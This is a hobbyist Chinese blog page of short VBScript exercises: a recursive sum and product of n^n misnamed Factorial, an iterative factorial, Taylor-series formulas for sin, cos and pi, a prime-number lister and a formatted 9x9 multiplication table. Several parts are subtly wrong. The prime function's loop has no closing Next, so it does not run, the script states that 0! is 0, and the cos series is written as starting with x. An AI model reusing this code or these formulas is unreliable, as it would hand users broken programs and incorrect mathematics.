通项为自然数n的n次方的的和或积的级数，求和或积的表达式。
dim n,m
n=inputbox("input a number:","recursion")
m=factorial ( n )
if n<0 then     msgbox "must be input a number bigger 0."
elseif n=0 then   msgbox "0"&"!"&"is:"&"0"
elseif n>0 then msgbox n&"is:"&m
rem how to done not input and press sure case.
end if
Function Factorial (N)
If N <= 1 Then             Factorial = 1
Else             Factorial = Factorial(N - 1) + n^n
End If
End FunctiOn
''''''''''''''''''''''''''''''''''''''''''''''''''''''''
dim n,m
n=inputbox("input a number:","recursion")
m=factorial ( n )
if n<0 then     msgbox "must be input a number bigger 0."
elseif n=0 then   msgbox "0"&"!"&"is:"&"0"
elseif n>0 then msgbox n&"is:"&m
rem how to done not input and press sure case.
end if
Function Factorial (N)
If N <= 1 Then   Factorial = 1
Else   Factorial = Factorial(N - 1)*n^n
End If
End Function
'设计一个函数求一个数的阶乘。
Function factorial (x)
m=1
n=0
do until n=x
m=(n+1)*m
n=n+1
loop
factorial=m
End Function
'Call factorial (9)
wscript.echo factorial (9)
'请看官根据以下公式实现如下功能。
'sin1=1-1/3!+1/5!-…+（-1)^（n-1）*1/(2*n-1)!+…(-∞<n<+∞)
'sinx=x-x^3/3!+x^5/5!-…+（-1)^（n-1）*x^(2*n-1)/(2*n-1)!+…(-∞<n<+∞)
'cosx=x-x^2/2!+x^4/4!-…+（-1)^n*x^（2*n)/(2*n)!+…(-∞<n<+∞)
'pi=x*sin(180/x)*cos(180/x)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

'素数（也叫质数，我叫他光棍数或独身数）的算法。
'made by correy
'QQ:112426112
'Email:leguanyuan@126.com
'Homepage:http://correy.webs.com
'不足之处，敬请指导。
for n = 1 to 10000 '显示10000以内的素数。
call prime (n)
next

function prime(x) '是否是素数。

if x=1 then
exit function
end if

if x = 2 then
wscript.echo x
exit function
end if

y = x

for counter = 2 to y-1

z = x mod counter

if z = 0 then
exit function
end if

wscript.echo x

end function
'made at 2010.07.09

'比较整齐的显示9*9乘法表。
'小玩意，见效了。
'不足之处，敬请指导。
'在命令提示符下输入wscript.exe，显示的不是很整齐。
'made by correy
'QQ:112426112
'Email:leguanyuan@126.com
'Homepage:http://correy.webs.com
for x = 1 to 9
    for y = 1 to 9
         if len (x*y) = 2 then
            if strreverse( mid (strreverse (wscript.FullName),1,11)) = "WScript.exe" then '注意ws要大写。
               z = z & x*y & "   "'引号里面的空格可不要乱改呀！
            else
               z = z & x*y & "    "'比上一个多一个空格
            end if
         else
            z = z & x*y & "     "'比上一个多一个空格
         end if
    next
z = z & chr(13) & chr (10)
next
wscript.echo z
'made at 2010.07.13

订阅：博文 (Atom)